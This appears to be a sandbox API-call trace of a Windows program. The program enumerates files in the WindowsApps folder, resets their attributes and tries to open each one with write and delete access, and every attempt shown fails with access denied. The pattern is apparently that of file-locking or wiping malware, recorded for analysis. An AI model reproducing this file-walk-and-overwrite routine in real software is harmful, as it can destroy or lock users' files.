	[0090.277] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a450b6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x19a450b6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x19a450b6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x153, dwReserved0=0x0, dwReserved1=0x0, cFileName="10290_20x20x32.png", cAlternateFileName="")) returned 1
	[0090.277] wcscmp (_String1="10290_20x20x32.png", _String2=".") returned 1
	[0090.277] wcscmp (_String1="10290_20x20x32.png", _String2="..") returned 1
	[0090.277] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x5028638
	[0090.277] wcscpy (in: _Dest=0x5028638, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images"
	[0090.277] wcscat (in: _Dest=0x5028638, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\"
	[0090.277] wcscat (in: _Dest=0x5028638, _Source="10290_20x20x32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_20x20x32.png") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_20x20x32.png"
	[0090.277] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_20x20x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_20x20x32.png")) returned 0x20
	[0090.277] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_20x20x32.png", dwFileAttributes=0x20) returned 0
	[0090.277] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_20x20x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_20x20x32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.277] GetLastError () returned 0x5
	[0090.277] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_20x20x32.png", dwFileAttributes=0x20) returned 0
	[0090.277] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028638) returned 1
	[0090.277] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a450b6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x19a450b6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x19a450b6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x0, cFileName="10290_24x24x32.png", cAlternateFileName="")) returned 1
	[0090.277] wcscmp (_String1="10290_24x24x32.png", _String2=".") returned 1
	[0090.277] wcscmp (_String1="10290_24x24x32.png", _String2="..") returned 1
	[0090.277] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x50275b8
	[0090.277] wcscpy (in: _Dest=0x50275b8, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images"
	[0090.278] wcscat (in: _Dest=0x50275b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\"
	[0090.278] wcscat (in: _Dest=0x50275b8, _Source="10290_24x24x32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_24x24x32.png") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_24x24x32.png"
	[0090.278] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_24x24x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_24x24x32.png")) returned 0x20
	[0090.278] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_24x24x32.png", dwFileAttributes=0x20) returned 0
	[0090.278] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_24x24x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_24x24x32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.278] GetLastError () returned 0x5
	[0090.278] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_24x24x32.png", dwFileAttributes=0x20) returned 0
	[0090.278] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50275b8) returned 1
	[0090.278] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a450b6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x19a450b6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x19a450b6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x213, dwReserved0=0x0, dwReserved1=0x0, cFileName="10290_32x32x32.png", cAlternateFileName="")) returned 1
	[0090.278] wcscmp (_String1="10290_32x32x32.png", _String2=".") returned 1
	[0090.278] wcscmp (_String1="10290_32x32x32.png", _String2="..") returned 1
	[0090.278] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x5028428
	[0090.278] wcscpy (in: _Dest=0x5028428, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images"
	[0090.278] wcscat (in: _Dest=0x5028428, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\"
	[0090.278] wcscat (in: _Dest=0x5028428, _Source="10290_32x32x32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_32x32x32.png") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_32x32x32.png"
	[0090.278] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_32x32x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_32x32x32.png")) returned 0x20
	[0090.278] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_32x32x32.png", dwFileAttributes=0x20) returned 0
	[0090.279] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_32x32x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_32x32x32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.279] GetLastError () returned 0x5
	[0090.279] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_32x32x32.png", dwFileAttributes=0x20) returned 0
	[0090.279] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028428) returned 1
	[0090.279] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a450b6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x19a450b6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x19a450b6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10290_40x40x32.png", cAlternateFileName="")) returned 1
	[0090.279] wcscmp (_String1="10290_40x40x32.png", _String2=".") returned 1
	[0090.279] wcscmp (_String1="10290_40x40x32.png", _String2="..") returned 1
	[0090.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x5028428
	[0090.279] wcscpy (in: _Dest=0x5028428, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images"
	[0090.279] wcscat (in: _Dest=0x5028428, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\"
	[0090.279] wcscat (in: _Dest=0x5028428, _Source="10290_40x40x32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_40x40x32.png") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_40x40x32.png"
	[0090.279] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_40x40x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10290_40x40x32.png")) 

Thread:
	id = 1035
	os_tid = 0x1c9c

	[0082.676] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e33f58
	[0082.676] wcscpy (in: _Dest=0x4e33f58, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe"
	[0082.676] wcscat (in: _Dest=0x4e33f58, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.676] wcscat (in: _Dest=0x4e33f58, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.676] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b608
	[0082.676] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x181968dc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf78d353e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf78d353e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8798
	[0082.678] wcscmp (_String1=".", _String2=".") returned 0
	[0082.678] FindNextFileW (in: hFindFile=0x46a8798, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x181968dc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf78d353e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf78d353e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.678] wcscmp (_String1="..", _String2=".") returned 1
	[0082.678] wcscmp (_String1="..", _String2="..") returned 0
	[0082.678] FindNextFileW (in: hFindFile=0x46a8798, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18208fe8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1822f246, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1822f246, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.678] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.678] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.679] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4766a10
	[0082.679] wcscpy (in: _Dest=0x4766a10, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe"
	[0082.679] wcscat (in: _Dest=0x4766a10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.679] wcscat (in: _Dest=0x4766a10, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.202] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.203] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.203] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.203] GetLastError () returned 0x5
	[0090.203] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.204] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766a10) returned 1
	[0090.204] FindNextFileW (in: hFindFile=0x46a8798, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x181bcb35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb2264955, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x181bcb35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.204] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.204] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491b648
	[0090.204] wcscpy (in: _Dest=0x491b648, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe"
	[0090.204] wcscat (in: _Dest=0x491b648, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.204] wcscat (in: _Dest=0x491b648, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4778060
	[0090.204] wcscpy (in: _Dest=0x4778060, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.204] wcscat (in: _Dest=0x4778060, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.204] wcscat (in: _Dest=0x4778060, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0090.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502c210
	[0090.204] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x181bcb35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb2264955, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x181bcb35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a768
	[0090.204] wcscmp (_String1=".", _String2=".") returned 0
	[0090.204] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x181bcb35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb2264955, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x181bcb35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.204] wcscmp (_String1="..", _String2=".") returned 1
	[0090.204] wcscmp (_String1="..", _String2="..") returned 0
	[0090.204] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x181bcb35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x181e2d8f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x181e2d8f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3bad, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0090.204] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0090.204] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0090.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x2d883a8
	[0090.205] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.205] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.205] wcscat (in: _Dest=0x2d883a8, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.205] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.207] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.207] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.207] GetLastError () returned 0x5
	[0090.207] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.208] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.208] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x181bcb35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x181e2d8f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x181e2d8f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3bad, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.208] FindClose (in: hFindFile=0x477a768 | out: hFindFile=0x477a768) returned 1
